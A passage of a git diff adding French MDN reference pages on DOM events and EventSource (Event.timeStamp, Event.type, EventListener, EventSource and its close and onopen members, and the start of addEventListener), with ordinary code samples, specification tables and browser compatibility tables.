+document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"keypress"</span><span class="punctuation token">,</span> getTime<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 100)}}</p>
+
+<h2 id="Notes" name="Notes">Précision du temps réduite</h2>
+
+<p>Pour offrir une protection contre les attaques de synchronisation et les empreintes digitales, la précision de <code>event.timeStamp</code> peut être arrondie en fonction des paramètres du navigateur.<br>
+ Dans Firefox, la préférence <code>privacy.reduceTimerPrecision</code> est activée et à 20 us par défaut dans Firefox 59 ; en version 60 ce sera 2 ms.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// Précision du temps réduite (2ms) dans Firefox 60</span>
+event<span class="punctuation token">.</span>timeStamp<span class="punctuation token">;</span>
+<span class="comment token">// 1519211809934</span>
+<span class="comment token">// 1519211810362</span>
+<span class="comment token">// 1519211811670</span>
+<span class="comment token">// ...</span>
+
+
+<span class="comment token">// Précision du temps réduite avec `privacy.resistFingerprinting` activé</span>
+event<span class="punctuation token">.</span>timeStamp<span class="punctuation token">;</span>
+<span class="comment token">// 1519129853500</span>
+<span class="comment token">// 1519129858900</span>
+<span class="comment token">// 1519129864400</span>
+<span class="comment token">// ...</span></code></pre>
+
+<p>Dans Firefox, vous pouvez aussi activer <code>privacy.resistFingerprinting</code>, la précision sera de 100 ms ou la valeur de <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, selon la valeur la plus grande.</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-timestamp', 'Event.timeStamp')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-timestamp', 'Event.timeStamp')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-timeStamp', 'Event.timeStamp')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.timeStamp")}}</p>
diff --git a/files/fr/web/api/event/type/index.html b/files/fr/web/api/event/type/index.html
new file mode 100644
index 0000000000..c50dcb0fea
--- /dev/null
+++ b/files/fr/web/api/event/type/index.html
@@ -0,0 +1,102 @@
+---
+title: Event.type
+slug: Web/API/Event/type
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Propriétés
+  - Type
+translation_of: Web/API/Event/type
+---
+<p>{{APIRef}}</p>
+
+<p>La propriété en lecture seule<strong> Event.type </strong>retourne une chaîne de caractères (<em>string</em>) contenant le type de l'événement. Le type est défini lors de la construction de l'événement et est le nom d'usage pour se référer à celui-ci, tel que  <code>click</code>, <code>load</code> ou <code>error</code>.</p>
+
+<p>L'argument <code><em>event</em></code> de {{ domxref("EventTarget.addEventListener()") }} et {{ domxref("EventTarget.removeEventListener()") }} n'est pas sensible à la casse.</p>
+
+<p>Pour une liste des types d'événements disponibles, aller voir la page <a href="https://developer.mozilla.org/fr/docs/Web/Events">Référence des évènements</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">event.type
+</pre>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>utf-8<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Event.type Example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+        <span class="keyword token">var</span> currEvent<span class="punctuation token">;</span>
+        <span class="keyword token">function</span> <span class="function token">getEvtType</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+            console<span class="punctuation token">.</span><span class="function token">group</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+            currEvent <span class="operator token">=</span> evt<span class="punctuation token">.</span>type<span class="punctuation token">;</span>
+            console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>currEvent<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+            document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"Etype"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> currEvent<span class="punctuation token">;</span>
+
+            console<span class="punctuation token">.</span><span class="function token">groupEnd</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span>
+
+        <span class="comment token">//Évènements du clavier</span>
+        document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"keypress"</span><span class="punctuation token">,</span> getEvtType<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//[second]  </span>
+
+        document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"keydown"</span><span class="punctuation token">,</span> getEvtType<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//premier</span>
+        document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"keyup"</span><span class="punctuation token">,</span> getEvtType<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//troisième</span>
+
+        <span class="comment token">//Évènements de la souris</span>
+        document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> getEvtType<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// troisième</span>
+
+        document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> getEvtType<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//premier</span>
+        document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"mouseup"</span><span class="punctuation token">,</span> getEvtType<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//second</span>
+
+    </span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Press any key or click the mouse to get the event type.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Event type: <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Etype<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">color</span><span class="punctuation token">:</span>red</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>-<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="Specifications" name="Specifications">Résultat</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.type")}}</p>
diff --git a/files/fr/web/api/eventlistener/index.html b/files/fr/web/api/eventlistener/index.html
new file mode 100644
index 0000000000..ed7d3a3dd6
--- /dev/null
+++ b/files/fr/web/api/eventlistener/index.html
@@ -0,0 +1,86 @@
+---
+title: EventListener
+slug: Web/API/EventListener
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Interface
+  - Écouteurs
+translation_of: Web/API/EventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>L'interface <strong><code>EventListener</code></strong> représente un objet qui peut gérer un évènement distribué par un objet {{domxref("EventTarget")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> En raison du besoin de compatibilité avec le contenu existant, <code>EventListener</code> accepte à la fois une fonction et un objet avec une fonction de propriété <code>handleEvent</code>. Ceci est illustré dans l'exemple ci-dessous.</p>
+</div>
+
+<h2 id="Method_overview" name="Method_overview">Propriétés</h2>
+
+<p><em>Cette interface n'implémente ni n'hérite d'aucune propriété.</em></p>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<p><em>Cette interface n'hérite d'aucune méthode.</em></p>
+
+<dl>
+ <dt>{{domxref("EventListener.handleEvent()")}}</dt>
+ <dd>une fonction qui est appelée lorsque se produit un événement du type spécifié.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>btn<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Click here!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p> </p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">const</span> buttonElement <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'btn'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Ajoute un gestionnaire pour l'évènement 'click' qui fournit une fonction de rappel.</span>
+<span class="comment token">// Chaque fois que l'élément est cliqué, une fenêtre contextuelle avec "Élément clické!"</span>
+<span class="comment token">// apparaîtra.</span>
+buttonElement<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">'Element clicked through function!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Pour la compatibilité, un objet qui n'est pas une fonction avec une propriété `handleEvent` (<em>gestion d'évènement</em>)</span>
+<span class="comment token">// sera traitée exactement comme la fonction elle-même.</span>
+buttonElement<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+  handleEvent<span class="punctuation token">:</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">'Element clicked through handleEvent property!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#callbackdef-eventlistener', 'EventListener')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-EventListener', 'EventListener')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/eventsource/close/index.html b/files/fr/web/api/eventsource/close/index.html
new file mode 100644
index 0000000000..eb65e1817a
--- /dev/null
+++ b/files/fr/web/api/eventsource/close/index.html
@@ -0,0 +1,145 @@
+---
+title: EventSource.close()
+slug: Web/API/EventSource/close
+tags:
+  - API
+  - EventSource
+  - Evénement serveur
+  - Fonction
+  - Méthode
+  - Reference
+  - Server-sent events
+  - close
+translation_of: Web/API/EventSource/close
+---
+<div>{{APIRef('WebSockets API')}}</div>
+
+<p>La fonction <code><strong>close()</strong></code> de l'interface {{domxref("EventSource")}} coupe la connection, si existante, et affecte à la variable {{domxref("EventSource.readyState")}} la valeur <code>2</code> (closed).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Si la connexion est déjà fermé, la fonction n'agit pas.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">eventSource.close();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Nulle.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var bouton = document.querySelector('button');
+var evtSource = new EventSource('sse.php');
+
+bouton.onclick = function() {
+  console.log('Connection fermée');
+  evtSource.close();
+}
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez trouver un exemple complet sur GitHub — voir <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Demo simple de SSE utilisant PHP.</a></p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#dom-eventsource-close", "close()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>6</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers dédiés et partagés<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>4.4</td>
+   <td>45</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>4.1</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers dédiés et partagés<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] But <a href="https://github.com/w3c/ServiceWorker/issues/947">not service workers as yet</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("EventSource")}}</li>
+</ul>
diff --git a/files/fr/web/api/eventsource/index.html b/files/fr/web/api/eventsource/index.html
new file mode 100644
index 0000000000..4a80f6f528
--- /dev/null
+++ b/files/fr/web/api/eventsource/index.html
@@ -0,0 +1,162 @@
+---
+title: EventSource
+slug: Web/API/EventSource
+tags:
+  - API
+  - Interface
+  - Reference
+translation_of: Web/API/EventSource
+---
+<div>{{APIRef("Websockets API")}}</div>
+
+<p>L'interface <strong><code>EventSource</code></strong> est utilisée afin de recevoir des évènements envoyés par le serveur. Elle se connecte à un serveur via HTTP et reçoit des évènements au format <code>text/event-stream</code> avant de clôturer la connexion.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("EventSource.EventSource", "EventSource()")}}</dt>
+ <dd>Cette méthode crée un nouvel objet <code>EventSource</code> à partir de l'objet {{domxref("USVString")}} fourni.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite également des propriétés fournies par l'objet parent : {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("EventSource.readyState")}} {{readonlyinline}}</dt>
+ <dd>Un nombre qui représente l'état de la connexion. Les valeurs possibles sont <code>CONNECTING</code> (<code>0</code>) (connexion en cours), <code>OPEN</code> (<code>1</code>) (connexion ouverte), ou <code>CLOSED</code> (<code>2</code>) (connexion fermée).</dd>
+ <dt>{{domxref("EventSource.url")}} {{readonlyinline}}</dt>
+ <dd>Un objet {{domxref("DOMString")}} qui représente l'URL de la source.</dd>
+ <dt>{{domxref("EventSource.withCredentials")}} {{readonlyinline}}</dt>
+ <dd>Un booléen qui indique si l'objet <code>EventSource</code> a été instancié avec les paramètres d'authentification CORS (<code>true</code>) ou non (<code>false</code>, la valeur par défaut).</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévènement">Gestionnaires d'évènement</h3>
+
+<dl>
+ <dt>{{domxref("EventSource.onerror")}}</dt>
+ <dd>Un objet {{domxref("EventHandler")}} qui est appelé lorsqu'une erreur se produit et que l'évènement {{event("error")}} est envoyé à l'objet <code>EventSource</code>.</dd>
+ <dt>{{domxref("EventSource.onmessage")}}</dt>
+ <dd>Un objet {{domxref("EventHandler")}} qui est appelé lorsqu'un évènement {{event("message")}} est reçu (ce qui signifie qu'on a reçu un message de la source).</dd>
+ <dt>{{domxref("EventSource.onopen")}}</dt>
+ <dd>Un objet {{domxref("EventHandler")}} qui est appelé lorsqu'un évènement {{event("open")}} est reçu, ce qui indique que la connexion vient d'être ouverte.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite également de méthodes grâce à son objet parent : {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("EventSource.close()")}}</dt>
+ <dd>Cette méthode ferme la connexion s'il y en a une en cours et change la valeur de l'attribut <code>readyState</code> en <code>CLOSED</code>. Si la connexion est déjà fermée, la méthode ne fait rien.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Un exemple complet est disponible sur GitHub, <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">voir la démonstration SSE avec PHP</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>6</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>workers</em> dédiés et partagés<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>45</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>4.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>workers</em> dédiés et partagés<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <a href="https://github.com/w3c/ServiceWorker/issues/947">Pas encore disponible pour les <em>service workers</em></a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Server-sent_events/Using_server-sent_events" title="en/Server-sent events/Using server-sent events">Utiliser les évènements générés par le serveur</a></li>
+</ul>
diff --git a/files/fr/web/api/eventsource/onopen/index.html b/files/fr/web/api/eventsource/onopen/index.html
new file mode 100644
index 0000000000..2753fb2197
--- /dev/null
+++ b/files/fr/web/api/eventsource/onopen/index.html
@@ -0,0 +1,62 @@
+---
+title: EventSource.onopen
+slug: Web/API/EventSource/onopen
+tags:
+  - API
+  - Event Handler
+  - EventSource
+  - Propriété
+  - Reference
+translation_of: Web/API/EventSource/onopen
+---
+<div>{{APIRef('Server Sent Events')}}</div>
+
+<p>La propriété <code><strong>onopen</strong></code> de l'interface {{domxref("EventSource")}} est un {{domxref("EventHandler")}} qui est appelé lorsqu'un est évènement {{event("open")}} est reçu, indiquant que la connexion vient d'être établie.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">eventSource.onopen = function</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">evtSource.onopen = function() {
+  console.log("Connexion au serveur établie.");
+};</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez trouver un exemple complet sur GitHub — voir <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onopen", "onopen")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez éditer ces données, consultez la page <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.EventSource.onopen")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("EventSource")}}</li>
+</ul>
diff --git a/files/fr/web/api/eventtarget/addeventlistener/index.html b/files/fr/web/api/eventtarget/addeventlistener/index.html
new file mode 100644
index 0000000000..6d8e092656
--- /dev/null
+++ b/files/fr/web/api/eventtarget/addeventlistener/index.html
@@ -0,0 +1,775 @@
+---
+title: EventTarget.addEventListener()
+slug: Web/API/EventTarget/addEventListener
+tags:
+  - API
+  - Cible
+  - DOM
+  - Evènement
+  - Gestionnaires d'évènements
+  - JavaScript
+  - Méthode
+  - Méthodes
+  - Reference
+  - Réception d'Évènements
+  - attachEvent
+  - Écouteurs
+  - Écouteurs d'Évènements
+translation_of: Web/API/EventTarget/addEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>La méthode <code><strong>addEventListener()</strong></code> d'{{domxref("EventTarget")}} installe une fonction à appeler chaque fois que l'événement spécifié est envoyé à la cible. Les cibles courantes sont un {{domxref("Element")}}, le {{domxref("Document")}} lui-même et une {{domxref("Window")}}, mais elle peut être tout objet prenant en charge les évènements (comme <code><a href="https://developer.mozilla.org/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code>).</p>
+
+<p><code>addEventListener()</code> fonctionne en ajoutant une fonction, ou un objet implémentant {{domxref("EventListener")}}, à la liste des écouteurs d'évènements du type d'évènement spécifié dans la {{domxref("EventTarget")}} dans laquelle il est appelé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>target</em>.addEventListener(<em>type</em>, <em>écouteur [, </em><em>options</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>écouteur [, utiliserCapture</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>écouteur [, utiliserCapture</em>, <em>veutNonFiables </em>{{Non-standard_inline}}]); // Gecko/Mozilla seulement</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em><code>type</code></em> </dt>
+ <dd>Une chaîne sensible à la casse représentant le <a href="https://developer.mozilla.org/fr/docs/Web/Events">type d'évènement</a> à écouter.</dd>
+ <dt><code><var>écouteur</var></code></dt>
